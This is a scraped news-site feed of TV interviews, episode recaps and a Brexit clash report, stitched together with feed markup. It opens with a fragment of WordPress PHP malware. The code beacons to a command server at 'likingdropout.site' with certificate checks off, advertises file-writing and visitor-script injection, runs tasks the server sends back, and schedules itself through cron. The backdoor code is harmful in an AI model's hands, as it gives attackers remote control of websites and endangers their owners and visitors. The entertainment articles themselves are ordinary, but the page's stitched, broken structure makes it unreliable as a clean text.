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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); 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Season 2 of the psychological horror series premiered Friday on Apple TV+, and as you probably could’ve guessed, we didn’t exactly get the answers we’ve been craving. With Jericho (or whoever) gone missing, Dorothy and Sean are in panic mode, as nanny Leanne — who may or may not have supernatural powers that possibly revived Jericho — remains on the lam, too. (Sound crazy? Oh, it is.) Dorothy, however, remained hopeful, devising a 72-hour game plan she hoped would guide her to the truth… which, of course, she may not even be able to accept. Despite her laser focus, Sean and Julian continued prolonging a whole mess of lies and ethical problems for the Turners, as the couple remained desperate to reunite their family and quell their pain.

Here, TVLine talks to Lauren Ambrose, who plays Dorothy, about the season’s tense premiere, the couple’s refusal to grieve and why Dorothy’s delusions have made her a “woman on a mission.”

TVLINE | Before we dive into the premiere, what drew you to this project, and what was your first impression of the scripts you read?
I thought it was a very strange premise and a fascinating character… a tragic character. She’s got so much going on. She’s hiding so much and broadcasting so much and wearing this crazy mask and refusing to look at reality. I was like, “Wow, I have no idea how to do that. That’ll be a challenge.” It’s a thriller, too, [and] I’ve never been in a thriller or a scary thing before. M. Night Shyamalan was in charge, so that seemed like good hands to be in. At the time, I was doing My Fair Lady on Broadway, and this was the polar opposite.

TVLINE | Considering that Dorothy’s version of the truth is very questionable, how do you approach playing such a traumatized, damaged character?
The job is to make the scene work. Someone who is delusional, they’re not delusional to them, they’re only delusional to the outside world. So as long as I have conviction in my actions and beliefs as the character, then I’m doing my job. Everybody else is going, “Oh my God, what are we going to do about this woman, she’s bananas, she thinks that doll is real,” and I’m there bouncing the dolly on my lap like, “What’s everybody’s problem? Why are you treating me like I’m nuts? There’s no problem here!”

TVLINE | With Jericho missing in the Season 2 opener, Natalie tells Sean and Julian that it’s a chance to finally let Dorothy grieve, but is it too late for them to back their way out of this whole thing?
There’s this deep web of lies at this point that they’re all wrapped into and invested in. I don’t know what they should do, but they continue to go along with it. That’s what’s interesting about this show: It explores these big feelings and ideas of what it is to be honest in a relationship, and the vulnerability of being a parent for the first time. And you can explore these ideas through the genre in a really different way. It reaches the pit of your stomach because these are all things we work on all day long as humans. But to explore it with this kind of storytelling is really fascinating to me.

Servant Season 2 Sean DorothyTVLINE | Dorothy and Sean get into a huge fight, and she tells him, “I thought you’d be a better father than this.” Why does she come down so hard on him at that moment?
He’s in the midst of doubting his actions and [questioning] if she should be telling the truth or involving the police, or if he should be giving up this ruse that he and Rupert [Grint]’s character have been perpetuating with all these lies and problems. We turn away from the fragile vulnerability of “What’s going to happen? Is she going to wake up and recognize what happened?” Now she’s like Denzel! She’s a woman on a mission! “I’m getting my baby back, no matter what.” She’s problem-solving, and they just aren’t sure what to do. They’re sort of half-heartedly trying to figure it out, but mostly trying to cover up whatever wrong they’ve done. It’s very complicated. There are so many layers.

Maybe this couple’s real problem is that they refuse to grieve. Dorothy is doing it in this very big and cuckoo way, and Sean is doing it as well by perpetuating the story. Maybe she’s criticizing him in that moment on a deeper, unconscious level for the lies and for not facing the reality of it or helping her face the reality of it.

TVLINE | Julian anonymously sends Dorothy a baby bootie with a message that reads, “Tell no one. Baby lives.” Why give Dorothy false hope when she’s already been through so much pain?
I think it’s actually to assuage her pain, and to say that there’s something to live for. That they’re going to find the baby and figure it all out together. There’s hope. But are the lies we tell each other good for our relationships or bad?

TVLINE | Sean not only finds the discarded doll, but brings it inside and gives it a bath. What’s your take on that?
It’s a really interesting storyline for Sean’s character because he ends up having this faith crisis, which I think is such a beautiful story. He’s starting to believe and he’s starting to come around to this faith in something, something bigger than him and bigger than reality. So much of this show is about what lies between perception and reality, and whoever’s looking at the problem might see it in a different way, depending on how you’re bent and the way your mind thinks. You might see something that’s happening on the show as a miracle or supernatural phenomenon, or a coincidence, a very practical reason why the doors of the attic slam closed or whatever. I think Sean is coming around to having this opening of faith led by his wife’s conviction that they’re going to find this baby. He sort of doesn’t care who the baby is anymore. At this point, there was a real baby, and he wants that feeling back. He wants his family back. Maybe there’s an opportunity for that through some kind of magical, spiritual thing… through healing. I don’t know, I could be wrong, too! I’m sure the internet will have all kinds of other ideas!

TVLINE | Oh, they do! Can you give us a little tease about what’s in store for Dorothy this season?
With Dorothy, we turn away from “Is she going to wake up, and is the baby real?” At the end of Season 1, she sees the doll for what it is, and doesn’t accept it as her baby anymore. Now it’s like, “Who put this doll here? Where’s my baby?” Now she has a very practical problem, and it takes a darker, more supernatural turn at times, and definitely leans into the horror. For me, I had some really wild acting challenges. [M.] Night [Shyamalan] directs Episode 4, and that was a really wild episode that I read right before bed — I definitely shouldn’t have done that! That was one that really scared me. There’s a really cool face-off. Leanne and Dorothy have to work out their differences, and it’s a battle of wills: teenage power vs. maternal rage.

There were definitely times when I was like, “How do I maintain sympathy for this character with what she does?” Ultimately, I always come back to: She will do anything to save her child or get her child back, and that she is a good mother, despite all of her varied flaws.

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]]> https://briefnews.eu/servants-lauren-ambrose-on-what-lies-between-perception-and-reality-and-why-dorothy-goes-full-on-denzel/feed/ 0 The Undoing: Nicole Kidman Addresses Big Little Lies Comparisons, Drops Fresh ‘Tidbit’ About Potential Season 3 https://briefnews.eu/the-undoing-nicole-kidman-addresses-big-little-lies-comparisons-drops-fresh-tidbit-about-potential-season-3/ https://briefnews.eu/the-undoing-nicole-kidman-addresses-big-little-lies-comparisons-drops-fresh-tidbit-about-potential-season-3/#respond Fri, 23 Oct 2020 13:00:53 +0000 https://briefnews.eu/the-undoing-nicole-kidman-addresses-big-little-lies-comparisons-drops-fresh-tidbit-about-potential-season-3/

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The Undoing and Big Little Lies share a network (HBO), a writer (David E. Kelley), a star (Nicole Kidman) and a conceit (wealthy moms in crisis!). But that’s pretty much where the project’s similarities begin and end, maintain Kidman and her Undoing director Susanne Bier.

The fact that Bier has a “very different” visual style than Big Little Lies‘ respective Season 1 and 2 helmers, Jean-Marc Vallée and Andrea Arnold, allows The Undoing to stand on its own, Kidman tells TVLine, adding, “That’s the beauty of great filmmakers.”

Bier acknowledges that she had seen both seasons of Big Little Lies prior to taking on The Undoing. “I liked it a lot, but it’s definitely very different,” the Night Manager auteur maintains. “I think one of the reason why it gets compared a lot to [BLL] is that David E. Kelley writes [female characters] really well.”

Another parallel between the two dramas: Like The Undoing, Big Little Lies was initially conceived as a limited series. It would, of course, go on to a see a second season. And talk of a potential third season is picking up steam, especially with Kidman making the media rounds for The Undoing. The Oscar and Emmy winner recently divulged to Marie Claire Australia that Kelley and BLL author Liane Moriarty “have a really good idea for” a third season.”

Kidman tells TVLine that the pair shared “a tidbit” of that idea with her, but she’s reluctant to share it because “you never know what it will end up as.”

For her part, she’s game to head back to Monterey. “I would like there to be [a Season 3],” she enthuses. “There are so many great stories to tell and I am open to all the different horizons. I think it would take an enormous amount of commitment from all of us. We all love each other and want to work together. We’re deeply intertwined now. There’s this enormous pull from this desire to just be together.

“Whether that [camaraderie yields] a story that will be fascinating and complex and important, that’s a different thing,” she continues. “It would need to be a story that makes our jaws drop.”

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]]> https://briefnews.eu/the-undoing-nicole-kidman-addresses-big-little-lies-comparisons-drops-fresh-tidbit-about-potential-season-3/feed/ 0 The Chi Recap: What Lies Beneath https://briefnews.eu/the-chi-recap-what-lies-beneath/ https://briefnews.eu/the-chi-recap-what-lies-beneath/#respond Mon, 20 Jul 2020 02:21:55 +0000 https://briefnews.eu/the-chi-recap-what-lies-beneath/

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It’s an indicator of how ridiculously depressing 2020 has been so far that when we get evidence in this week’s The Chi that Kiesha is alive — even though she’s being held captive in some predator’s basement — it feels like a huge win.

After all, she’s not dead like the poor young woman found by the lake in last week’s episode. But the fact that Kiesha’s captor is doing things like bathing her and keeping her every move under surveillance certainly makes it seem like there are more horrible acts going on in that prison than we see during the hour. (And we see some pretty rough stuff.)

The hour opens with Kiesha sitting in a bathtub while the man washes her; she’s traumatized as he talks about how she was “dressed like a slut” when he found her, but that “Daddy’s gonna make you clean.” (Side note: Shudder.) Later, he dresses her in a track suit and force-feeds her cereal. There are a bunch of trophies and a treadmill in the background; everything points toward some kind of track fetish, which makes everything just a little more horrible, right?

Even when the man isn’t there, he’s got his creepy eye on Kiesha: There are several cameras all over the basement apartment, even one in the bathroom, and he lets her know that he’s watching her even when she pees. So when a blackout knocks out all the power on the South Side of the city — and turns off the cameras — Kiesha realizes that it’s her one chance at a possible escape.

She throws herself at the door to her room until it gives way, then runs up some stairs. She somehow gets herself through that door, as well, and falls on the ground outside, sobbing in relief. She’s free! But then the man who kidnapped her appears in the doorway and rushes out, grabbing her and carrying her back inside as she screams.

Somewhere in the vicinity, Ronnie — who’s just returned Ethel to her nursing home after she went missing during the blackout — hears the young woman’s cries. “Kiesha?” he says, right at the end of the episode.

Elsewhere in the Windy City:

the-chi-recap-season-3-episode-5-terror-town-* Papa’s father baptizes Ronnie and gives him some new clothes.

* Roselyn and Douda talk campaign strategy while having sex in his office. Later, when the power goes out, she helps him mobilize staffers and volunteers to provide the South Side with pizza, flashlights and other assistance. At the end of the episode, Jake and Douda are having a nice moment listening to jazz together when Big Mike shows up: There’s a guy who was defacing a Perry campaign poster, and what does Douda want to do with him? Jake asks if he can accompany his surrogate dad out back, and Douda says yes. So Jake watches as Douda beats the pizza sauce outta the guy. Then, Jake runs.

* A social worker shows up, unannounced, at Trig’s place to inspect it and see if it’s fit for Jake to live in. She’s not impressed by a broken electrical outlet, and she questions whether Imani has a business to style hair in the home. There’s also some contention about how Trig referred to Imani as his “wife” on the paperwork he submitted, even though they’re not married. Trig gets very defensive very quickly, but Imani defuses the situation a little, and the social worker advises them to make some changes in advance of the next step in the process. Later, Trig finds Imani packing: She’s worried that her background — she killed her father in self-defense; he tried to choke her after finding her in drag — will mess up Trig’s efforts to get legal guardianship of his brother. “I need you here,” he tells her. “Jake needs you, too.” She relents. Later, as they’re sitting in the living room, there’s a knock at the door: It’s Jake, and he’s traumatized after the violent attack he witnessed. Trig sits his brother down on the couch and hugs him.

the-chi-recap-season-3-episode-5-terror-town* The blackout forces Emmett and Dom to take their after-hours eatery outside. The barbecue event is such a hit that it draws a huge crowd… including Sonny, who angrily informs Emmett that he’s known about his duplicity but was hoping that Emmett would grow up and admit to what he’s been doing. The older man calls Emmett “the son I never had” and says he’d been looking forward to the time when he would settle down. “Guess I was wrong,” he adds, ordering Emmett off his property. “You wasn’t nothing but a waste of my time.”

* Jake, Kevin, Jemma, Papa and Maisha investigate an abandoned building they think is haunted. Honestly, the scariest thing there is the disdain Jake aims at Jemma: He really doesn’t like her. When the blackout happens, they get spooked and quickly exit: Because car services are taking too long, Kevin and Jemma choose to walk home through some sketchy areas. Later, they get something to eat and dance with Papa and Maisha — who’ve agreed to date exclusively.

* Jada accompanies Tomas to a family party, where she learns that he is a widower. She nearly has a panic attack in the bathroom over the revelation, but he calms her later with assurances that there’s something real between them.

Now it’s your turn. What did you think of the latest episode? Sound off in the comments!

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]]> https://briefnews.eu/the-chi-recap-what-lies-beneath/feed/ 0 Riverdale Recap: Chess, Lies and Videotape (Plus, Meet Katy Keene!) https://briefnews.eu/riverdale-recap-chess-lies-and-videotape-plus-meet-katy-keene/ https://briefnews.eu/riverdale-recap-chess-lies-and-videotape-plus-meet-katy-keene/#respond Thu, 06 Feb 2020 08:52:09 +0000 http://briefnews.eu/riverdale-recap-chess-lies-and-videotape-plus-meet-katy-keene/

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Need to catch up? Read our previous Riverdale recap here.

You’d think after last week’s humiliating quiz show defeat, Riverdale‘s Bret would have the decency to slink away quietly. Yep, you’d be wrong.

The preppie jerk accepts Jughead’s challenge to an old-fashioned duel, and Mr. DuPont lays out the ground rules: First, they’ll fence, and then square off in a bare-knuckle brawl, and then play chess if they need a tie-breaker. Donna promises to coach Jughead up in fencing, but Bret manages to knock his sabre away and score the victory. Jughead wins the bare-knuckle fight, though, by landing a punch square on Bret’s jaw and knocking him out cold. That leaves one pivotal chess match to decide the winner — as Jughead discovers that just about everyone at Stonewall is rooting for him to lose.

Riverdale Season 4 Episode 12 Alice BettyMeanwhile, Betty’s been suspended and stripped of her Blue and Gold editorship after the quiz show cheating scandal, and she and Alice set their sights on finding out what really happened to Mr. Chipping. They visit his widowed wife, who insists he’d never have an affair with Donna and points them towards a box of his belongings that includes a bunch of Army brochures. Moose tells them Mr. Chipping urged him to enlist, and he agreed after Bret threatened to leak a videotape of him having sex with a classmate. Yikes… now Betty realizes Bret might also have a tape of her and Jughead. (Sorry, Alice.)

At the chess match, Jughead and Bret trade moves while Betty and Alice take advantage of the distraction to search Quill & Skull headquarters for the tapes. They find a stash of old videotapes in a secret hiding spot, but Bret insists they’re just tapes of Quill & Skull members confessing their darkest secrets for initiation. As for the chess match, a disgusted Jughead lets Bret win, not even wanting to be a “Stonewall man” anymore. Betty did smuggle out Donna’s confession tape, though, and it has her telling the same story about Mr. Chipping… but about a teacher named Mr. Kotter who doesn’t exist. Uh-oh, is Donna the one we should’ve been worrying about all along?

Yearbook Notes:

Riverdale Season 4 Episode 12 Katy Keene Veronica* We got our first glimpse of Katy Keene — premiering Thursday on The CW! — as Veronica went to visit her very close pal Katy in New York City. (You know, the very close pal she never mentioned before this season.) The gals went on a glamorous shopping spree, but afterwards, Katy confessed that her mom is very sick — and then Ronnie went home to discover that her dad Hiram has been diagnosed with a neuromuscular disorder that will rob him of his motor skills. A stunned Veronica decided to enroll in NYC’s Barnard College… and take Lodge as her last name once again, to honor her papa.

* Archie’s Uncle Frank caused more trouble this week, this time by bringing home an old war buddy named Ted Bishop who turned out to be a mercenary tasked with killing Frank. (Frank was a mercenary, too, and suspected his former employer wanted to tie up “loose ends.”) Frank tricked Ted into getting arrested, but Ted escaped and ambushed Archie at school, leading to a deadly struggle that ended with Frank saving Archie’s life. The feds arrested Ted, and Frank left town after promising to turn himself in. Which is kind of a good thing for Archie (and us), don’t ya think?

* Cheryl got an unwelcome blast from the past when Nick St. Clair (another preppie jerk!) turned up at the Maple Club looking to throw a party with his Harvard-bound pals. A shaken Cheryl told Toni all about Nick drugging her and trying to rape her, so Toni got revenge by luring Nick into a private room and drugging him, making him the unwitting star of one of Kevin and Fangs’ tickling videos. She warned him to stay out of Riverdale unless he wants that tape exposed — but wait, we’re drugging and assaulting people to prove how drugging and assaulting people is wrong? Just making sure I’m following along here.

* Am I a terrible person for not fully believing Hiram’s story that he is facing a serious illness? That guy has just lied too many times to too many people to trust him at this point.

* I’m also not really buying Bret’s story that all those videotapes are simple confessions, especially after we saw a camera running during a Jughead-and-Betty tryst earlier this season. And speaking of videotapes: Could he also be behind those creepy videotapes of people’s front doors that we haven’t heard about for a few weeks?

Got thoughts on tonight’s Riverdale? Grab a booth in the comments below.

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]]> https://briefnews.eu/riverdale-recap-chess-lies-and-videotape-plus-meet-katy-keene/feed/ 0 Brexit Day clash: Mark Francois blasts Brexit ‘lies’ in Femi row – ‘It’s called DEMOCRACY’ https://briefnews.eu/brexit-day-clash-mark-francois-blasts-brexit-lies-in-femi-row-its-called-democracy/ https://briefnews.eu/brexit-day-clash-mark-francois-blasts-brexit-lies-in-femi-row-its-called-democracy/#respond Fri, 31 Jan 2020 12:53:07 +0000 http://briefnews.eu/brexit-day-clash-mark-francois-blasts-brexit-lies-in-femi-row-its-called-democracy/

The heated clash broke out after the Conservative MP hit out at Femi Oluwole over the Project Fear “lies” aimed at suggesting a vote for Brexit would have a devastating impact on the British economy. Mark Francois noted the campaign had claimed all travel to and from the European Union would come to a halt as well as saying the UK would run out of food but none of the warnings had come to happen. Speaking to the Jeremy Vine on 5 show, Mr Francois said: “It’s called democracy.

“We were told by the advocates of Project Fear that when we leave the European Union the planes won’t fly, the trucks won’t run, ferries will stop, the Eurostar won’t go.

“We’re going to run out of food in the supermarkets, people won’t get their insulin – none of that is going to happen.

“The Sun will rise in a free country and we will keep calm and carry on. It was all a lie, it was a lie.”

Mr Francois previously said: “The British people voted clearly in a referendum in 2016 to leave the European Union.

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“We got to a terrible mess in Parliament because many MPs simply refused to obey the instructions of the people.  We had three years of trench warfare.”

But Mr Oluwole rejected the claims Mr Francois moved against the Remain camp saying the warnings were limited to a no deal scenario rather than the UK quitting the EU with an agreement.

He said: “On that particular point, as of tonight we’ll still be under EU rules. Those warnings were about no deal.

“And we won’t be having no deal because we’ll still be under EU rules.”

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A transition period will begin at 11.01pm on Friday which will see all the current arrangements remain the same, though the UK will have no representatives in EU institutions.

British citizens will no longer also be EU citizens, though they can continue to travel as if they were.

Trade negotiations will start on March 3 and the UK will have 10 months to reach an agreement on the future commercial ties the country will have with the remaining EU member states. 

The British Government has made clear that Britain must leave the customs union and single market and end the overall jurisdiction of the European Court of Justice.

The UK must agree how it is going to co-operate with the EU on security and law enforcement as well as agree deals in a number of other areas where co-operation is needed.

 

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]]> https://briefnews.eu/brexit-day-clash-mark-francois-blasts-brexit-lies-in-femi-row-its-called-democracy/feed/ 0 Big Little Lies season 3: Meryl Streep scream scene explained in shocking real life twist https://briefnews.eu/big-little-lies-season-3-meryl-streep-scream-scene-explained-in-shocking-real-life-twist/ https://briefnews.eu/big-little-lies-season-3-meryl-streep-scream-scene-explained-in-shocking-real-life-twist/#respond Wed, 24 Jul 2019 02:51:39 +0000 http://briefnews.eu/big-little-lies-season-3-meryl-streep-scream-scene-explained-in-shocking-real-life-twist/

Big Little Lies returned to TV screens this year with the continuation of the harrowing story of Celeste Wright (played by Nicole Kidman), whose husband Perry Wright (Alexander Skarsgard) was killed when Bonnie Carlson (Zoë Kravitz) pushed him down a flight of stairs.

Celeste has been keeping the secret of how her abusive husband really died a secret but Perry’s other Mary Louise Wright (Meryl Streep) is determined to get to the bottom of things and apply pressure to her daughter-in-law.

The first episode of the season saw Mary Louise diving into the uncomfortable topic of her late son at the dinner table alongside Celeste and her two boys – Perry’s sons.

In a slightly comical yet haunting scene Mary Louise told her grandsons: “I wanted to scream. So you know what I did? I did scream.”

She went on to demonstrate and Celeste couldn’t help but yell after her, asking her to stop for the boys’ sake.

But Mary Louise refused to apologise telling the trio: “Sorry, my grief is too loud for you? I should be more discrete.

“We should scream! We should scream, and beat our breast and tear our hair! Don’t you feel angry?”

The scene surprised viewers with many claiming she stole the show. Now, the real life inspiration behind the moment has been revealed.

It’s inspired by trauma-based psychotherapy created by Arthur Janov, who suggests that neurosis is caused by the repressed pain of childhood trauma.

His theory continues by adding repressed pain can be sequentially brought to conscious awareness and resolved through experiencing specific incidents, and by then going on to fully express the resulting pain during therapy.

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Obviously, when put into practice – and in Mary Louise’s case, after hugely traumatic event – this can be tackled with a guttural scream.

While this was tonally a little horrifying, it certainly showed off exactly how Mary Louise was feeling about losing her son in such strange and sinister situations.

As a veteran actor, this role was no problem for the incredible Meryl Streep – and it seems she was dying to get involved from the beginning.

According to the NZ Herald, Celeste star Nicole explained: “We didn’t know Mary Louise was Meryl’s real name.

“But Liane knew and she wrote it and then said: ‘I want Meryl Streep!’”

She continued: “But then I sent Meryl a text and when she responded after the [Golden] Globes – Reese and I were literally screaming on the phone with each other!”

“I loved this show,” Meryl added. “I was addicted to it.

“I thought it was an amazing exercise in what we know and what we don’t know about people … about family, about friends, how it flirted with the mystery of things.

“What was unsaid, unshown, unknown was sort of the pull – the gravitational pull of the piece. And it was so exciting.”

Big Little Lies Season 2 is available on digital download now.

 

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]]> https://briefnews.eu/big-little-lies-season-3-meryl-streep-scream-scene-explained-in-shocking-real-life-twist/feed/ 0 Big Little Lies Season 2 Finale Recap: Do You Swear to Tell the Whole Truth? https://briefnews.eu/big-little-lies-season-2-finale-recap-do-you-swear-to-tell-the-whole-truth/ https://briefnews.eu/big-little-lies-season-2-finale-recap-do-you-swear-to-tell-the-whole-truth/#respond Mon, 22 Jul 2019 12:41:00 +0000 http://briefnews.eu/big-little-lies-season-2-finale-recap-do-you-swear-to-tell-the-whole-truth/

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After all the lying and deceit, Season 2 of Big Little Lies wrapped up by dropping a steady dose of truth bombs on us. (And was that really it? Here’s the latest on a possible Season 3.)

Sunday’s finale opens with yet more elliptical flashbacks to Perry’s death, and Celeste staring blankly in the shower. She watches some old video of her and Perry on her iPad, smiling at the happy memories… until she happens upon a video of one of her boys watching her through a cracked doorway? (We don’t see what she’s seeing.) Plus, Ed is taking out his frustrations on a punching bag, and even Ziggy is pushing Jane to give Corey another chance.

Big Little Lies Season 2 Finale Renata Mary LouiseRenata is busy berating a poor Starbucks barista when she bumps into Mary Louise and hammers her for putting Celeste through all of this. Mary Louise just thinks Celeste might need some help, but she sets Renata off when she quips that sometimes nannies are “more trouble than they’re worth.” (Did she touch a nerve?) Renata explodes on her, labeling her a “judgy judger… keep your eyes on your own f–king paper.” Meanwhile, Celeste and Mary Louise’s lawyers prep their clients for what’s sure to be a contentious cross-examination, and we see flashes of what looks like Perry as a kid, covered in blood? Hmmm.

In court, Mary Louise takes the stand, and Celeste asks her if she thinks she’s a bad mother. Mary Louise thinks she’s “committed,” but then lists off all of her violent and erratic actions. She thinks the boys are in “imminent peril,” but Celeste points out she never reported them to child protective services. Celeste gets Mary Louise to admit she only saw her lose her temper once, then asks: “Did you ever lose your temper?” She brings up a time when Mary Louise was driving and her son Raymond died “because you lost your temper” (!). Mary Louise says the question is “obscene” and lets out an anguished gasp, but Celeste insists that these are relevant questions. Perry was five at the time, we learn, and Celeste pointedly asks, “Did you ever blame him for causing the crash?”

Big Little Lies Season 2 Finale CelestePerry confided in Celeste that his mom always told him he distracted her and caused Raymond’s death, we learn, and Celeste pins her down on whether Mary Louise was abusive as well. Mary Louise fiercely calls her “a liar” and tries to fight back, saying Perry was never abusive — and that Jane was “mistaken” when she accused Perry of rape. It’s all Celeste’s fault for liking violent sex, she says, and tearfully adds, “He’s the victim here. Not you.” Celeste’s answer: playing that iPad video, in which the boys captured Perry brutally attacking Celeste through an open doorway. Afterwards, Madeline congratulates Celeste, but she’s still not sure she’ll win full custody and doubts herself for even allowing Perry’s abuse to continue: “Maybe I’m not a good mother.” Madeline reassures her, though, that nobody’s perfect and encourages her not to falter.

At the aquarium, Jane apologizes to Corey for being distant; she wants him to go out and have fun, but his idea of “fun” is being with her, it turns out. (Awww.) Plus, Celeste celebrates her good day in court, but bristles when her boys ask about her confrontation with Mary Louise: “Did you beat her up?” Speaking of Mary Louise: She charges up to Celeste’s door, accusing Celeste of lying about her abusing Perry as a boy. Perry said it, Celeste insists, but after she locks her door, Mary Louise continues to freak out, yelling, “It’s not fair! It’s not fair!”

Big Little Lies Season 2 Finale BonnieBonnie sits at her mom’s bedside again, and this time, tells her how much she loves her: “It took me my whole life to say that.” Then she picks up a pillow… but when her dad walks in, we see she’s not actually smothering her mom — she’s just cuddled up next to her in bed. And something must’ve clicked, because the next morning, Bonnie’s mom is awake and asking for breakfast. Hope she doesn’t remember what Bonnie told her, though…

Madeline is busy beating herself up for starting the lie in the first place: “It’s unraveling all of our friendships.” But as Celeste points out, some of those weren’t very raveled to begin with: The real lie, she says “is the friendship.” Madeline thinks her marriage is about to unravel, too, when Ed sits her down and says they were “delusional” when they got married… but surprises her by saying: “We need to renew our vows.” He wants a new start, and so does she. They seal it with a kiss, and Madeline immediately snaps into bridezilla mode, but Ed wants to keep it small and intimate. And she agrees!

Celeste takes her boys to court, dressed in little suits and ties, for the judge’s decision — just as Bonnie’s mom is being wheeled out of her room after suffering what the doctors think is another stroke. The rest of the Monterey Five are there, though, when the judge begins rendering her decision… and Mary Louise interrupts! After seeing that video, she says she “had no idea” and apologizes, but maintains she just wants what’s best for the boys. She tells Celeste she was “complicit” in her own abuse and taunts her about her “social adventures” with other men… all in front of the boys! Celeste gets her turn, and blames Mary Louise for turning Perry into an abusive jerk. Her boys “will be good men,” she declares. Then the judge reveals her decision, denying Mary Louise’s petition and awarding Celeste full custody. Bam!

The boys do give Mary Louise a hug, though, while Bonnie and her dad and daughter gaze at her mom. She’s passed away, we learn, and Nathan offers Bonnie his condolences… but then Bonnie hits him with a gut punch: “I’m not in love with you… I don’t think I’ve ever been.” (Ouch.) Renata returns home to find Gordon still playing with his toys: He got a collector to buy all of them and let him keep them, somehow. Renata is enraged: All her stuff is gone, and Gordon gets to keep his little toy trains? (God, Laura Dern is terrific this season, huh?) She gets revenge by grabbing a baseball bat (!) and smashing his precious train set to pieces, hitting Gordon square in the chest in the process. And when she walks out on him, it feels like it’s for the last time, doesn’t it?

We flash-forward to Madeline and Ed’s vow renewal, with just their daughters with them on a seaside cliff and Madeline wearing an adorable flower crown. As we hear Willie and Paula Nelson’s “Have You Ever Seen the Rain,” we see Jane and Corey dancing close and getting, um, even closer; Renata reassuring Amabella it’ll all be OK; Celeste kissing an old iPad video of Perry; and a glazed-over Bonnie driving off alone into the night. She’s joined by the rest of the Monterey Five as they all walk in together into the police station. Paging Detective Quinlan! Looks like the biggest little lie of all is finally getting atoned for.

Alright, it’s your turn: Grade the Big Little Lies finale in our poll, and then hit the comments to share your instant reactions. 

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1 | On Agents of S.H.I.E.L.D., does it not quite track that Daisy is being so cold to Deke after being apart for more than a year? (Like, if he was never formally a part of the team, why hold it against him for moving on/exploring our world?)

Big Little Lies2 | On Big Little Lies, were you slightly disappointed that Meryl Streep’s Mary Louise didn’t crash Amabella’s birthday party (as implausible and contrived as it would’ve been to see her there)? And which character pulled off the best disco look for said celebration?

3 | Did the opening scene of The Loudest Voice — in which a waitress wished Roger Ailes a “Happy holidays,” and he grunted back, “Merry Christmas” — make you roll your eyes? And which scene was more cringe-inducing: Ailes’ meet-up with former Bush Sr. campaign staffer Laurie Luhn, or his handsy interview with the young brunette?

4 | While Instinct‘s Dylan may be an entertaining lecturer, would college students applaud their regular professor? Also, can we talk about how impractically fashionable/expensive Lizzie’s wardrobe looks this season?

5 | Did you get a kick out of Burden of Truth‘s mini Rookie Blue reunion between Peter Mooney and Matt Gordon (aka Officer Oliver Shaw)?

6 | Can The Hills: New Beginnings please explain — in excruciating detail — what a baby’s “assistant” does? Could the show’s makeup product placement have been any more obvious? And was Jason’s transformation into devoted father and husband the most surprising?

7 | Was it a bit weird that The Code this week basically sidelined two of the women, with wedding planning and family matters? And speaking of the former, are you kind of glad that Harper’s marriage hit the skids?

8 | Though you may have foreseen The Detour‘s episode-ending reveal, wasn’t it still good ‘n’ creepy ‘n’ dark-ish?

9 | On The Handmaid’s Tale, wasn’t the sexy, sultry tango kind of an odd choice for Fred and Serena to bust out in front of all the other commanders and their wives?

10 | Shouldn’t The InBetween’s Cassie call on one of her police department pals before heading out… alone… to a super–sketchy part of town…. at night… to seek out a dead body?

11 | Does Stranger Things keep saddling each of the boys with the same exact hairstyles (poor, poor Will!) out of some fear we’d lose track of who is whom? Also, for an elite operative, could the Terminator-like Russian who hunted Hopper been any less stealthy? And given the repeated Phoebe Cates mentions, did you expect the Fast Times alum to actually show up, in the flesh?

12 | What was the point of A Capitol Fourth‘s jumbotron screen if it didn’t magnify the on-stage action for those seated far away?

13 | Did NBC’s lead-up to the Macy’s 4th of July Fireworks Spectacular not get the “This Is Me” memo? (The holiday presentations in both Boston and Washington, D.C.’s featured live performances of the Greatest Showman anthem.)

14 | Millions of dollars spent on a televised Fourth of July spectacle, and no one thought to buy a squeegee?

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Big Little Lies left viewers in turmoil during the final episode’s bleak cliffhanger.

After Bonnie (played by Zoe Kravits) pushed Perry (Alexander Skarsgard) down the stars, and subsequently killing him, the women of Monterey seemingly got away with the manslaughter.

